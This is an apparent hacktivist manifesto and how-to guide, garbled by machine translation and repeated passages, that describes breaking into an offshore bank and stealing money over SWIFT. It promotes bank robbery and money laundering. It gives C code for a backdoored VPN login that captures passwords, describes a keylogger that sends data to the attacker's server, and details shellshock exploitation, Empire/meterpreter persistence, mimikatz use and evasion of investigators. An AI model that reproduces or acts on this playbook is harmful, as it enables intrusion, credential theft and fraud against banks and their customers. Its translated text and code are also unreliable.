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                          By Subcowmandante Marcos
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                               I am a wild child
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                           Innocent, free, wild
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                             I'm all ages
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                            My grandparents live in me
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                            I'm a brother of the clouds
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                              And I only know how to share
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                            I know that everything belongs to everyone
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                            that everything is alive in me
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                           My heart is a star
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                             I am a son of the earth
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                          I travel aboard my spirit
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                             Path to eternity
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Ésta is my simple word that seeks to touch the heart of simple people and
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humble, but also dignified and rebellious. Ésta is my simple word to tell
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of my hacking, and to invite other people to hack with joy.
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rebellion.
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I hacked into a bank. I did it to give a liquidity injection, but this time from
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and the simple and humble people who resist and rebel against the
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injustices all over the world. In other words: I robbed a bank and gave away the
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money. But it wasn't just me who did it. The free software movement, the
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offensive powershell community, the metasploit project and the hacker community
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in general are the ones that made this hacking possible. The exploit.in community
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made it possible to turn the intrusion on a bank's computers into cash
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and bitcoin. Projects Tor, Qubes and Whonix, at and cryptographers and
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activists who defend privacy and anonymity, they are my nahuales, they are
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to say, my protectors [1]. They accompany me every night and make it possible for me to stay in
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freedom.
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I didn't do anything complicated. I only saw injustice in this world, I felt love
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for all beings, and I expressed that love in the best way I could, through the
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tools I know how to use. I am not moved by hatred of banks, nor of the rich, but by
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a love for life, and the desire for a world where everyone can realize their dream.
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and live a full life. I would like to explain a little how I see the world,
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so they can get an idea of how I got to feel and act like this.
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And I also hope that this guide is a recipe that you can follow, combining the
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same ingredients to bake the same sponge cake. Who knows, over there these
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so powerful tools end up serving you too to express the
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love they feel.
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                           We are all wild children
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                         innocent, free, wild
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                      We are all brothers of the trees
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                               children of the earth
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                   We just have to put in our heart
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                             a lit star
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                    (song by Alberto Kuselman and Chamalú)
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The police are going to invest a lot of resources in researching me. They believe that the
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system works, or at least it will work once they catch up to all the
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"bad guys." I'm just the product of a system that doesn't work.
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As long as there is injustice, exploitation, alienation, violence and the
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ecological destruction, there will come many more like me: an endless series of 
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people who will reject as illegitimate the bad system responsible for this
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suffering. That badly done system is not going to fix me by arresting me. I 
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only one of the millions of seeds Tupac planted 238 years ago in La Paz.
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Peace [2], and I hope that my actions and writings will water the seed of rebellion.
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in their hearts.
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[1] https://es.wikipedia.org/wiki/Cadejo#Origen_y_significado_del_mito
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2] It was before he was killed by the Spaniards, just one day like yesterday, that
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    he said that "they'll only kill me, but tomorrow I'll be back and I'll be millions".
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                          By Subcowmandante Marcos 
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                               I am a wild child 
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                           Innocent, free, wild 
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                             I have all ages 
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                            My grandparents live in me 
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                            I am a brother of the clouds 
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                              And I only know I know 
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                            that everything belongs to everyone 
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                            everything is alive in me 
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                           My heart he is a star 
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                             I am a son of the earth 
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                             Road to eternity 
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This is my simple word that seeks to touch the hearts of simple and 
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humble people, but also dignified and rebellious. This is my simple word to tell 
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about my hacks, and to invite other people to hack with cheerful 
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rebellion. 
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I hacked a bank. I did it to give an injection of liquidity, but this time from 
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below and to the simple and humble people who resist and rebel against 
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injustices throughout the world. In other words: I robbed a bank and gave away the 
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money. But it wasn't me alone who did it. The free software movement, the 
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offensive powershell community, the metasploit project and the hacker community
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in general they are the ones that enabled this hacking. The exploit.in community 
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made it possible to turn the intrusion into a bank's computers into cash 
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and bitcoin. The Tor, Qubes and Whonix projects, together with the cryptographers and 
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activists who defend privacy and anonymity, are my nahuales, 
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that is , my protectors [1]. They accompany me every night and make it possible for me to remain 
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free. 
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I did nothing complicated. I only saw the injustice in this world, felt love 
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for all beings, and expressed that love in the best way I could, through the 
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tools I know how to use. I do not move the hatred of the banks, or the rich, but 
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a love for life, and the desire of a world where everyone can realize their
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potential and live a full life. I would like to explain a little how I see the world, 
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so that you can get an idea of ​​how I came to feel and act like that. 
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And I also hope that this guide is a recipe that you can follow, combining the 
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same ingredients to bake the same cake. Who knows, out there these 
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powerful tools end up serving you too to express the 
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love you feel. 
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                           We are all 
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                         innocent, free, wild wild children 
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                      We are all brothers of the trees 
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                               children of the earth 
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                    (song by Alberto Kuselman and Chamalú) 
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The police will invest a chingo of resources to investigate me. They think the 
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system works, or at least it will work once they catch all the 
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"bad guys." I am nothing more than the product of a system that does not work. 
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As long as there is injustice, exploitation, alienation, violence and 
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ecological destruction, many more will come like me: an endless series of 
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people who will illegitimately reject the evil system responsible for this 
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suffering. That badly done system is not going to compose arresting me. I am
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only one of the millions of seeds that Tupac planted 238 years ago in La 
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Paz [2], and I hope that my actions and writings water the seed of rebellion 
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in their hearts. 
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[2] was before he was killed by the Spaniards, just one day as yesterday, who 
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To make us listen, hackers sometimes have to cover our faces, because 
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we are not interested in seeing our face but understanding our word. The 
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mask can be from Guy Fawkes, Salvador Dalí, from Fsociety, or in some cases 
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the puppet of a crested toad. By affinity, this time I went to dig up 
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a deceased to lend me his balaclava. I think then I should clarify that 
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Sup Marcos is innocent of all that is told here because, in addition to being 
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dead, I did not consult him. I hope your ghost, if you find out from a 
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Chiapaneca hammock , knows how to find goodness for, as they say there, "dismiss this
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deep fake "with the same gesture with which an inopportune insect moves away - it 
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could very well be a beetle. 
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Even so with the balaclava and the name change, many of those who support my 
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actions are perhaps going to pay too much attention to my person. With their own 
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autonomy shattered for a lifetime of domination, they will be looking for a 
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leader to follow, or a hero to save them. But behind the balaclava 
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I am just a child. We are all Wild children. We just have to place a star 
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Capitalism is a system in which a minority has come to appropriate
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a vast majority of the world's resources through war, theft and 
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exploitation. By snatching the commons [1], they forced those below to 
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be under the control of that minority that owns everything. It is a system 
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fundamentally incompatible with freedom, equality, democracy and 
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Suma Qamaña (Good Living). It may sound ridiculous to those of us who have grown up in 
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maquinaria propagandística que nos enseñó que capitalismo es libertad, pero en
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truth, what I say is not a new or controversial idea [2]. The founders 
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of the United States of America knew that they had to choose between creating a 
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capitalist society, or a free and democratic society. Madison recognized that "the 
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man who possesses wealth, the one who lies on his couch or rolls in his carriage,
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he cannot judge the wishes or feelings of the day laborer. "But to protect himself 
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against the" spirit of equalization "of the landless day laborers, it seemed 
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to him that only landowners should vote, and that the government had to 
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serve to" protect the opulent minority against the great majority. "John 
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Jay was more to the point and said," Those who are owners ± os of the country deberÃan 
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        | | | | Evgeny, the great ignored elephant, doesn't understand why everyone 
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        | | | | They pretend not to see you on the panels about climate change, like this 
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In the same way that bell hooks [3] argues that the rejection of the 
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patriarchal culture of domination is an act in defense of the male's own interest (since 
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he emotionally mutilates them and prevents them from feeling love and connection 
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fully), I believe that the culture of domination of capitalism has an effect
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similar about the rich, and that they could have fuller and more satisfying lives 
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if they rejected the class system from which they believe they benefit. For many, 
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class privilege amounts to a childhood of emotional neglect, followed 
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by a life of superficial social interactions and meaningless work. Can 
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that basically know that only can connect genuinely with people 
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when working with them as equals, and not when put at your service. 
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with it. You may also know that the significant experiences, 
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connections and relationships that count are not the ones that come from
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mercantile interactions, but precisely to reject the logic of the market 
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and give without expecting anything in return. They may know that all they need to 
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escape from their prison and live for real is to get carried away, give up control, and 
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take a leap of faith. But most lack courage. 
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produce some kind of spiritual awakening in the rich [4]. As Astata 
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Shakur says : "No one in the world, no one in history has ever achieved their 
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freedom by appealing to the moral sense of their oppressors." Actually, when the 
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rich distribute their money, they almost always do it in a way that reinforces the
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system that to begin with allowed them to amass their enormous and illegitimate wealth 
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let us vote to take away their wealth." Colin Jenkins justifies the 
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expropriation with these words [6]: 
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    money earned "with the sweat of the forehead." It is not theft of 
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    private property . Rather, it is the recovery of huge amounts of land and 
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    human slavery , forced labor force and amassed in hundreds of years for a
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mental ties (believing that wealth and private property have been earned by 
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those who monopolize them; and that, therefore, they should be something to respect, 
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revere, and even something to pursue), open our minds, study and 
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learn from history, and recognize this illegitimacy together. " Here are 
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some books that have helped me with this [7] [8] [9] [10] [11]. 
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According to Barack Obama, economic inequality is "the challenge that defines our
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time. "Computer hacking is a powerful tool to combat 
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economic inequality. Former NSA director Keith Alexander agrees 
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[1] https://sursiendo.com/docs/Pensar_desde_los_comunes_web.pdf
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[2] https://chomsky.info/commongood02/
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[3] The Will to Change: Men, Masculinity, and Love 
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[7] Manifesto for a Democratic Civilization. Volume 1, Civilization: The Age 
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[8] Caliban and the Witch 
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This guide explains how I hacked the Cayman Bank and Trust Company 
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Hackers working for social change have limited themselves to developing
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state of precariousness, and there would be much that they could do with some 
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expropriated money . At least for the working class, bank robbery is something 
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socially accepted, and those who do are seen as people's heroes. In 
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the digital age, robbing a bank is a non-violent, less risky act, and the 
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reward is greater than ever. So why are only 
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black hat hackers doing it for their personal benefit, and never 
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hacktivists to finance radical projects? Maybe they don't think they are
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able to do it The big bank hacks are on the news every 
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so often, such as the hacking of the Bank of Bangladesh [1], which was attributed to North Korea 
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as a very group Large and well organized Russian hackers, with different 
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members who would be specialized in different tasks. And, it is not so 
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that we exercise control over ourselves, and maintain the class system 
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without those above having to do anything [3]. Being able to see how vulnerable and 
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fragile the financial system really is helps us break that hallucination
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collective That is why banks have a strong incentive not to report 
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hacks, and to exaggerate how sophisticated the attackers are. None of the 
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financial hacks I made, or those I've known, have ever been reported. 
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This is going to be the first, and not because the bank wanted to, but because I 
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As you are about to learn in this home guide, hacking a bank and 
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transferring money through the SWIFT network does not require the support of any 
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government or a large and specialized group. It is something totally possible 
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being a mere amateur and a lot of hacker, with only 
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public tools and basic knowledge of how to write a script.
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Many of those who read this already have, or with a little study will be 
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able to acquire, the skills necessary to carry out a hack 
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like this. However, many will find that they lack the 
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necessary criminal connections to get the handles in condition. In my 
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case, this was the first bank that hacked, and at that time I only had a 
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few and mediocre accounts ready to withdraw the cash (known
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as bank drops), so it was only a few hundred thousand that 
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I could withdraw in total, when it is normal to get millions. Now, on the other hand, I do 
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have the knowledge and connections to get cash more seriously, 
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that into real money, and they want to use that wool to Fund 
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radical social projects , contact me. 
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net is that, in general, it is not as easy as I paint it here. I was lucky with 
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   expires. It's simpler than it seems: I've used Get-Keystrokes [1],
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   modifying it so that instead of storing the pressed keys, a 
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   petición GET a mi servidor cada vez que se detecta que han introducido un
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   username is made. This request adds the username to the url and, as they 
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I think that if I collaborated with other experienced bank hackers we could
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make hundreds of banks like Carnabak, instead of being one from time 
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to time on my own. So if you have experience with similar hacks and 
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quieres colaborar, contactame. Encontrarás mi correo y mi llave PGP al final de 
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the previous guide [3]. 
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same section of my last guide [1], since it seems to work just fine 
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[2]. All I have to add is that, in Trump's words, "Unless you 
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catch hackers in fraganti, it is difficult to determine who is 
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doing the hacking," so the police are Getting more and more 
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creative [3] [4] in their attempts to grab the criminals on the spot (when 
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their encrypted hard drives are unlocked). So it would be nice if by
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For example, you carry a certain bluetooth device and configure your 
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computer to turn off when it 
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moves beyond a certain range, or when an accelerometer detects movement, or something like that. 
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the safest thing in the world (ups!), But at times I feel I had to 
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                        If I did not believe in what hurts 
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        Many blame queer people for the decline of this society; 
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                         we are proud of it 
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                Some believe that we want to reduce 
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                     this civilization and its moral fabric to ashes ; 
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                      They could not be more right. 
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    They often describe us as depraved, decadent and unruly. 
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                    But oh! They have not seen anything yet 
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https://theanarchistlibrary.org/library/mary-nardini-gang-be-gay-do-crime 
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In another place [1] I was talking about the main ways to get
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Initial access to a company's network during a targeted attack. However, 
553
this was not a targeted attack. I didn't set out to hack a specific bank, what 
554
I wanted was to hack any bank, which ends up being a much 
555
simpler task . This type of nonspecific approach was popularized by Lulzsec and 
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Anonymous [2]. As part of [1], I prepared an exploit and 
557
post-exploitation tools for a popular VPN device. Then I started scanning the 
558
entire internet with zmap [3] and zgrab to identify other 
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vulnerable devices . I had the scanner save the vulnerable IPs, along with the 
560
"common name" and "alt names" of the device's SSL certificate, the names
561
Windows domain of the device, and reverse DNS lookup for the IP. I 
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made a grep to the result in search of the word "bank", and there was enough to 
563
choose from, but the truth is that the word "Cayman" attracted me, and that's how I came 
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to stay with this one. 
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[1] https://www.exploit-db.com/papers/41914 
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[2] https://web.archive.org/web/20190329001614/http://infosuck.org/0x0098.png 
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[3] https : //github.com/zmap/zmap 
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---- [4.1 - The Exploit] ------------------------------ -------------------------- 
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When I published my last DIY guide [1] I did not reveal the details of the exploit of 
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sonicwall que había usado para hackear a Hacking Team, ya que era muy útil para
575
other hacks, like this one , and I still hadn't finished having fun with him.
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Then determined to hack Hacking Team, Raisin © weeks doing engineering 
577
inverse model of the SonicWALL ssl-vpn and even gotta find 
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several vulnerabilities of corruption more or less memory difÃciles 
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explode before I realized that the device It was easily exploitable 
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with shellshock [2]. When shellshock came out, many sonicwall devices were 
581
vulnerable, only with a request to cgi-bin / welcome, and a payload on the 
582
user-agent. Dell released a security update and an advisory for these 
583
versions. The version used by Hacking Team and this bank had the version of 
584
vulnerable bash, but CGI requests did not trigger the shellshock except for
585
the requests to a shell script, and there was just one accessible: 
586
cgi-bin / jarrewrite.sh. This seems to have escaped Dell's in their note, 
587
since they never released a security update or an advisory for that 
588
version of the sonicwall. And, kindly, Dell had done twounix setuid root, 
589
leaving a device easy to root. 
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In my last guide many read that I spent weeks researching a device 
592
until I found an exploit, and assumed that it meant that I was some kind 
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of lite hacker. The reality, that is, the fact that it took me two weeks to 
594
realize that it was trivially exploitable with shellshock, is perhaps less
595
Flattering to me, but I think it's also more inspiring. Show that 
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you can really do this for yourself. You don't need to be a genius, I 
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certainly am not. Actually my work against Hacking Team started a 
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year earlier. When you discover a Hacking Team and Gamma Group in 
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investigations CitizenLab [3] [4], I decided to explore a bit and see if I could 
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find something. I didn't get anywhere with Hacking Team, but I was lucky with 
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Gamma Group, and I was able to hack your customer support portal with 
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basic sql injection and file upload vulnerabilities [5] [6]. However, even though 
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its support server gave me a pivot towards the internal Gamma network
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Group, I was unable to penetrate beyond the company. From this 
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experience with the Gamma Group and other hacks, I realized that I was 
606
really limited by my lack of knowledge about privilege escalation and 
607
lateral movement in windows domains, active directory and windows in general. 
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So I studied and practiced (see section 11), until I felt I was ready 
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to pay a visit to Hacking Team almost a year later. The practice 
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paid off, and this time I was able to make a full commitment of the 
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company [7]. Before I realized that I could go in with shellshock, I was 
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willing to spend happy whole months of life studying development of
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exploits and writing a reliable exploit for one of the 
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memory corruption vulnerabilities I had encountered. I only knew that Hacking Team 
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needed to be exposed, and that it would take me as much time as necessary and 
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learn what I had to learn to get it. To perform these 
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hacks you don't need to be bright. You don't even need a great 
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technical knowledge . You just need dedication, and believe in yourself. 
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[1] https://www.exploit-db.com/papers/41914 
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[2] https://es.wikipedia.org/wiki/Shellshock_(error_de_software) 
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[3] https://citizenlab.ca/tag/ hacking-team / 
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[4] https://citizenlab.ca/tag/finfisher/
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[5] https://theintercept.com/2014/08/07/leaked-files-german-spy-company-helped- 
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    bahrain-track-arab-spring-protesters / 
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[6] https: //www.exploit- db.com/papers/41913 
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[7] https://web.archive.org/web/20150706095436/https://twitter.com/hackingteam 
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----[ 4.2 - El Backdoor ]-------------------------------------------------------
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Part of the backdoor I prepared for the Hacking Team (see [1], section 6) was a 
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simple wrapper on the login page to capture passwords: 
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#include <stdio.h> 
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#include <unistd.h> 
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#include <fcntl.h> 
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#include <string.h> 
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#include <stdlib.h> 
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641
int main () 
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{ 
643
        char buf [2048]; 
644
        int nread, pfile; 
645
646
        / * pull the log if we send a special cookie * /
647
        char * cookies = getenv ("HTTP_COOKIE"); 
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        if (cookies && strstr (cookies, "our private password")) { 
649
                write (1, "Content-type: text / plain \ n \ n", 26); 
650
                pfile = open ("/ tmp / .pfile", O_RDONLY); 
651
                while ((nread = read (pfile, buf, sizeof (buf)))> 0) 
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                        write (1, buf, nread); 
653
                exit (0); 
654
        } 
655
656
        / * the principal stores the POST data and sends it to the child, 
657
           which is the actual login program * / 
658
        int fd [2]; 
659
        pipe (fd); 
660
        pfile = open ("/ tmp / .pfile", O_APPEND | O_CREAT | O_WRONLY, 0600);
661
                close (fd [0]); 
662
663
                while ((nread = read (0, buf, sizeof (buf)))> 0) { 
664
                        write (fd [1], buf, nread); 
665
                        write (pfile, buf, nread); 
666
                } 
667
668
                write (pfile, "\ n", 1); 
669
                close (fd [1]); 
670
                close (pfile); 
671
                wait (NULL); 
672
        } else { 
673
                close (fd [1]); 
674
                dup2 (fd [0], 0); 
675
                close (fd [0]); 
676
                execl ("/ usr / src / EasyAccess / www / cgi-bin / .userLogin", 
677
                      "userLogin", NULL); 
678
        } 
679
}
680
681
In the case of Hacking Team, they were logging on to the VPN with single-use passwords, 
682
de modo que la VPN me dio acceso solamente a la red, y a partir de ahí me tomó
683
an extra effort to get domain admins on their network. In the other guide I wrote 
684
about side passes and privilege escalation in windows domains [1]. In this 
685
case, on the other hand, it was the same Windows domain passwords that were 
686
used to authenticate against the VPN, so I could get a good number of 
687
user passwords, including that of the domain admin. Now he had full 
688
access to his network, but usually this is the easy part. The most complicated part 
689
is to understand how they operate and how to get the gun. 
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[1] https://www.exploit-db.com/papers/41914
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---- [4.3 - Fun facts] ---------------------------------------- ------------ 
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696
By continuing the investigation they did about the hacking, I found it interesting to 
697
see that, by the same time I did it, the bank may have been 
698
compromised by someone else via a targeted phishing email [1]. 
699
As the old saying goes, "give a person an exploit and he will have access for a 
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day, teach phishear and he will have access all his life" [2]. The fact that 
701
someone else, by chance and at the same time as me, put this 
702
small bank in the spotlight (they registered a domain similar to the real domain of the bank 
703
to be able to send phishing from there) suggests that bank hacks
704
They occur much more frequently than is known. 
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A fun suggestion for you to follow the investigations of your 
707
hacks is to have a backup access, one that you won't touch unless you 
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lose normal access. I have a simple script that expects commands 
709
once a day, or less, only to maintain long-term access in the event 
710
they block my regular access. Then I had a powershell empire [3] 
711
calling home more frequently to a different IP, and I used empire to 
712
launch meterpreter [4] against a third IP, where I did most of 
713
my work. When PWC started investigating the hacking, they found my use of
714
I emptied and meterpreter and cleaned those computers and blocked those IPs, but they 
715
didn't detect my backup access. PWC had placed 
716
network monitoring devices , to be able to analyze the traffic and see if there were still 
717
infected computers, so I didn't want to connect much to their network. I only 
718
launched mimikatz once to get the new passwords, and from there 
719
I could continue his research by reading his emails in the outlook web access. 
720
721
[1] page 47, Project Pallid Nutmeg.pdf, in torrent 
722
[2] https://twitter.com/thegrugq/status/563964286783877121 
723
[3] https://github.com/EmpireProject/Empire 
724
[4] https : //github.com/rapid7/metasploit-framework
725
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- [5 - Understand Banking Operations] ------------------------------------ 
728
729
To understand how it operated the bank, and how could I get money, I followed the 
730
techniques that I summarized in [1], in section "13.3 - Internal Recognition". 
731
I downloaded a list of all the file names, I made a grep for 
732
words like "SWIFT" and "transfer", and downloaded and read all the 
733
files with interesting names. I also looked for emails from employees, but by 
734
far the most useful technique was to use keyloggers and screenshots to 
735
see how bank employees worked. I didn't know it at the time, but 
736
for this windows brings a very good monitoring tool [2]. How I know
737
described in the technique no. 5 of section 13.3 in [1], I made a capture of the 
738
keys pressed throughout the domain (including the window titles), made a 
739
grep in search of SWIFT, and found some employees opening 'SWIFT Access 
740
Service Bureau - Logon' . For those employees, I ran meterpreter as in [3], and 
741
used the post / windows / gather / screen_spy module to take screenshots 
742
every 5 seconds, to see how they worked. They were using a 
743
remote citrix app from the bottomline company [4] to access the SWIFT network, where 
744
each payment message SWIFT MT103 had to pass through three employees: one 
745
to "create" the message, one to "verify it", and another to "authorize it". How
746
I already had all his credentials thanks to the keylogger, I could 
747
easily perform all three steps myself. And from what I knew after seeing them 
748
work, they didn't check the SWIFT messages sent, so I should have 
749
enough time to get the money from my bank drops before the bank 
750
realized and tried to reverse the transfers. 
751
752
[1] https://www.exploit-db.com/papers/41914 
753
[2] https://cyberarms.wordpress.com/2016/02/13/using-problem-steps-recorder-psr- 
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    remotely-with -metasploit / 
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[3] https://www.trustedsec.com/blog/no_psexec_needed/ 
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[4] https://www.bottomline.com/uk/products/bottomline-swift-access-services 
757
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759
/ Who steals from a thief, is one hundred years \ 
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\ sorry. / 
761
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762
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763
          \ ^ __ ^ 
764
            (oo) \ _______ 
765
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766
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767
         (.) / || || 
768
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769
770
- [6 - Send money] --------------------------------------- --------------- 
771
772
I had no idea what I was doing, so I was discovering it 
773
along the way. Somehow, the first transfers I sent went 
774
well. The next day, I screwed up by sending a transfer to Mexico that put
775
End to my fun. This bank sent its international transfers 
776
through its correspondent account in Natwest. I had seen that the 
777
correspondent account for transfers in pounds sterling (GBP) appeared as 
778
NWBKGB2LGPL, while for the others it was NWBKGB2LXXX. The 
779
Mexican transfer was in GBP, so I assumed that I had to put NWBKGB2LGPL as a 
780
correspondent. If I had prepared it better I would have known that the GPL instead of 
781
XXX indicated that the payment would be sent through the 
782
United Kingdom Fast Payments Service , rather than as an international transfer, which obviously 
783
not It will work when you are trying to send money to Mexico. So
784
The bank received an error message. On the same day I also tried to send a 
785
payment of £ 200k to the UK using NWBKGB2LGPL, which was not done because 200k exceeded the 
786
shipping limit through fast payments, and would have had to use NWBKGB2LXXX 
787
instead. They also received an error message for this. They read the messages, 
788
investigated it, and found the rest of my transfers. 
789
790
791
- [7 - The button] ------------------------------------------ -------------------- 
792
793
By what I write they will already have a complete idea of ​​what my ideals are and to which 
794
things I give them my support. But I would not like to see anyone in legal trouble 
795
for receiving expropriated funds, so not a word more than where
796
It was the wool. I know that journalists are probably going to want to put some 
797
number on how many dollars were distributed in this hack and 
798
similar ones, but I prefer not to encourage our perverse habit of measuring the 
799
actions just for their economic value. Any action is admirable if it 
800
comes from love and not from the ego. Unfortunately those above, the rich and 
801
powerful, the public figures, the businessmen, the people in 
802
"important" positions , those that our society respects and values ​​most, those have been 
803
placed where they are based on acting more from the ego than from love. It is in 
804
the simple, humble and "invisible" people that we should look at
805
who should we admire. 
806
807
808
- [8 - Cryptocurrencies] ------------------------------------------- -------------- 
809
810
Redistributing expropriated money to Chilean projects seeking 
811
positive social change would be easier and safer if those projects accepted 
812
anonymous donations via cryptocurrencies such as monero, zcash, or less bitcoin. It is understood 
813
that many of these projects have an aversion to cryptocurrencies, since 
814
they resemble some more hypercapitalist dystopia than the 
815
social economy with which we dream. I share their skepticism, but I think they are 
816
useful to allow donations and anonymous transactions, by limiting the
817
Government surveillance and control. Same as cash, whose use many 
818
countries are trying to limit for the same reason. 
819
820
821
- [9 - Powershell] ------------------------------------------- ----------------- 
822
823
In this operation, as in [1], I made a lot of use of powershell. By 
824
then, powershell was super cool, you could do almost anything you 
825
wanted, without antivirus detection and with very little forensic footprint. It happens 
826
that with the introduction of AMSI [2] the offensive powershell is retiring. 
827
Today the offensive C # is what is on the rise, with tools like 
828
[3] [4] [5] [6]. AMSI is going to get to .NET for 4.8, so to the tools in
829
C # probably still have a couple of years left before they become outdated. 
830
And then we will use C or C ++ again, or maybe Delphi will become 
831
fashionable again. The specific tools and techniques change every few years, but 
832
basically it is not so much what changes, today hacking is essentially still the 
833
same thing it was in the 90s. In fact all the powershell scripts 
834
used in this guide and in the previous one [1] are still perfectly usable 
835
today, after a small obfuscation of your own harvest. 
836
837
[1] https://www.exploit-db.com/papers/41914 
838
[2] https://medium.com/@byte_St0rm/ 
839
    adventures-in-the-wonderful-world-of-amsi-25d235eb749c 
840
[3] https://cobbr.io/SharpSploit.html
841
[4] https://github.com/tevora-threat/SharpView 
842
[5] https://www.harmj0y.net/blog/redteaming/ghostpack/ 
843
[6] https://rastamouse.me/2019/08/ covenant-donut-tikitorch / 
844
845
 ___________________________ 
846
/ Fo Sostyn, Fo Ordaag \ 
847
\ Financial Sector Fuck Off / 
848
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849
         \ 
850
          \ ^ __ ^ 
851
            (oo) \ _______ 
852
         ((__) \) \ / \ 
853
          _) / || ---- w | 
854
         (.) / || || 
855
          `` 
856
857
- [10 - Torrent] ----------------------------------------- --------------------- 
858
859
      Privacy for the weak, transparency for the powerful.
860
861
Offshore banking provides 
862
executives, politicians and millionaires with privacy to their own government . Exposing them may sound 
863
hypocritical on my part, since I am generally in favor of privacy and 
864
against government oversight. But the law was already written by and 
865
for the rich: it protects its system of exploitation, with some limits (such as 
866
taxes) so that society can function and the system does not collapse under the 
867
weight of its own greed. So no, privacy for the 
868
powerful is not the same , when it allows them to evade the limits of a system 
869
designed to give them privileges; and privacy for the weak, to whom
870
protects from a system designed to exploit them. 
871
872
Even journalists with the best intentions find it impossible to 
873
study such a huge amount of material and know what is going to be 
874
relevant to people in different parts of the world. When I filtered the 
875
archivos de Hacking Team, entregué a The Intercept una copia de los correos
876
electronics one month in advance. They found a couple of the 0days that 
877
Hacking Team was using, previously reported them to MS and Adobe and published 
878
a few stories once the leak was made public. There is no point 
879
of comparison with the enormous amount of articles and research that came after 
880
the complete filtration to the public. Seeing it like this, and also considering the (no)
881
editorialized publication [1] of the Panama papers, I think that a 
882
public and complete leak of this material is the right choice. 
883
884
[1] https://www.craigmurray.org.uk/archives/2016/04/corporate-media-gatekeepers- 
885
    protect-western-1-from-panama-leak / 
886
887
Psychologists found that those who are more s down in the hierarchies tend to 
888
understand and empathize with those at the top, but that the opposite is less 
889
common. This explains why, in this sexist world, many men joke about 
890
their inability to understand women, as if it were an 
891
irresolvable mystery . Explain why the rich, if they stop to think about who
892
They live in poverty, give advice and "solutions" so alien to 
893
reality that they want to laugh. Explain why we revere executives 
894
as brave who take risks. What do they risk, beyond their 
895
privilege? If all their ventures fail, they will have to live and work 
896
like the rest of us. It also explains why there will be many who accuse 
897
this filtering without being irresponsible and dangerous. They feel the 
898
"danger" about an offshore bank and its clients much more intensely 
899
than the misery of those dispossessed by this unfair and 
900
unequal system feels . And the leakage of their finances, is it a danger to them, or
901
so just for its position on top of a hierarchy maximum to be not even 
902
exist? 
903
904
                          , ------------------------------------------------- -. 
905
          _, -._ | They vilify us, those infamous; when the only | 
906
         ; ___: | difference is that they rob the poor | 
907
    , - '(..' '--.__ | covered by the law, heaven knows, and we | 
908
  _; ||| \ | we plunder the rich under the sole protection of | 
909
 '._, -----' ''; = .____, "| our own courage. Shouldn't you prefer to be | 
910
   /// <or> | ## | | one of us, rather than go before those |and then little by little you are improving. 
911
    That is why I always say that one of the most valuable virtues is persistence. 
912
    - Octavia Butler's advice for the APT candidate
913
914
915
    
916
917
918
919
The best way to learn to hack is by hacking. Put together a laboratory with 
920
virtual machines and start testing things, taking a break to investigate 
921
anything you don't understand. At a minimum, you will want a windows server 
922
as a domain controller, another normal Windows vm attached to the domain, and a 
923
development machine with visual studio to compile and modify tools. 
924
Try to make an office document with macros that launch meterpreter or another 
925
RAT, and try meterpreter, mimikatz, bloodhound, kerberoasting, smb relaying, 
926
psexec and other side pass techniques [1]; as well as the other scripts, 
927
tools and techniques mentioned in this guide and in the previous one [2]. To the
928
At first you can disable windows defender, but then try it all by 
929
having it activated [3] [4] (but deactivating the automatic sending of samples). 
930
Once you're happy with all that, you'll be ready to hack 99% of the 
931
companies. There are a couple of things that at some point will be very useful in your 
932
learning, such as developing comfortably with bash and cmd.exe, a 
933
basic domain of powershell, python and javascript, having knowledge of kerberos [5] [6] 
934
and active directory [7] [8] [9] [10], and a fluent English. A good 
935
introductory book is The Hacker Playbook. 
936
937
I also want to write a little about things to not focus on if you don't
938
You want to entertain only because someone has told you that you are not a " 
939
real" hacker if you do not know assembler. Obviously, learn whatever interests you, 
940
but I write these lines thinking about those things you can 
941
focus on in order to get practical results if you are looking for hacking 
942
companies to filter and expropriate. A basic knowledge of 
943
web application security [11] is useful, but specializing more in web security is not 
944
really the best use of your time, unless you want to make a career in 
945
pentesting or hunting bug rewards. The CTFs, and most of the 
946
resources you'll find when looking for information about hacking, focus
947
generally in skills such as web security, reverse engineering, 
948
exploit development , etc. Things that make sense by understanding them as a way to 
949
prepare people for careers in the industry, but not for our 
950
goals. Intelligence agencies can afford to have a team 
951
dedicated to the most advanced in fuzzing, a team working on 
952
exploit development with a team investigating exclusively the new techniques of 
953
mound manipulation, etc. We don't have the time or the 
954
resources for that. The two most important skills for 
955
practical hacking are phishing [12] and social engineering to gain access
956
initial, and then be able to scale and move through the windows domains. 
957
958
[1] https://hausec.com/2019/08/12/offensive-lateral-movement/ 
959
[2] https://www.exploit-db.com/papers/41914 
960
[3] https: // blog. sevagas.com/IMG/pdf/BypassAVDynamics.pdf 
961
[4] https://www.trustedsec.com/blog/ 
962
    discovering-the-anti-virus-signature-and-bypassing-it / 
963
[5] https: // www .tarlogic.com / en / blog / how-kerberos-works / 
964
[6] https://www.tarlogic.com/en/blog/how-to-attack-kerberos/ 
965
[7] https://hausec.com / 2019/03/05 / penetration-testing-active-directory-part-i / 
966
[8] https://hausec.com/2019/03/12/penetration-testing-active-directory-part-ii/ 
967
[9 ] https://adsecurity.org/ 
968
[10] https://github.com/infosecn1nja/AD-Attack-Defense
969
[11] https://github.com/jhaddix/tbhm 
970
[12] https://blog.sublimesecurity.com/red-team-techniques-gaining-access-on-an- 
971
     external-engagement-through-spear-phishing / 
972
973
974
--[ 12 - Lecturas Recomendadas ]------------------------------------------------
975
976
 __________________________________________ 
977
/ When the scientific level of a world \ 
978
| far exceeds its level of solidarity, | 
979
\ that world destroys itself. / 
980
 ------------------------------------------ 
981
                  \ _.---. _. . 
982
            * \. ' '. * 
983
* _.- ~ =========== ~ -._ 
984
    . (___________________). * 
985
              . ' \ _______ /. ' 
986
                           . ' . '  
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                          '          
988
                     - Ami 
989
990
Almost all the hacking today is done by black hat hackers, for 
991
personal gain; or for white hat hackers, for the benefit of the 
992
shareholders (and in defense of the banks, companies and states that are 
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annihilating us and the planet in which we live); and by military and 
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intelligence agencies, as part of their war and conflict agenda. Seeing 
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that this our world is already at the limit, I have thought that, in addition to these 
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technical tips to learn how to hack, I should include some resources that 
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have been very important for my development and have guided me in the use of my 
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Hacking knowledge
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* Ami: The Child of the Stars - Enrique Barrios 
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* Anarchy Works 
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  https://es.theanarchistlibrary.org/library/peter-gelderloos-la-anarquia- 
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  works 
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* Living My Life - Emma Goldman 
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* The Rise and Fall of Jeremy Hammond: Enemy of the State 
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  https://www.rollingstone.com/culture/culture-news/the-rise-and-fall-of-jeremy-
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  hammond-enemy-of-the-state-183599 / 
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  This quarter and the HBGary hack were an inspiration 
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* Days of War, Nights of Love - Crimethinc 
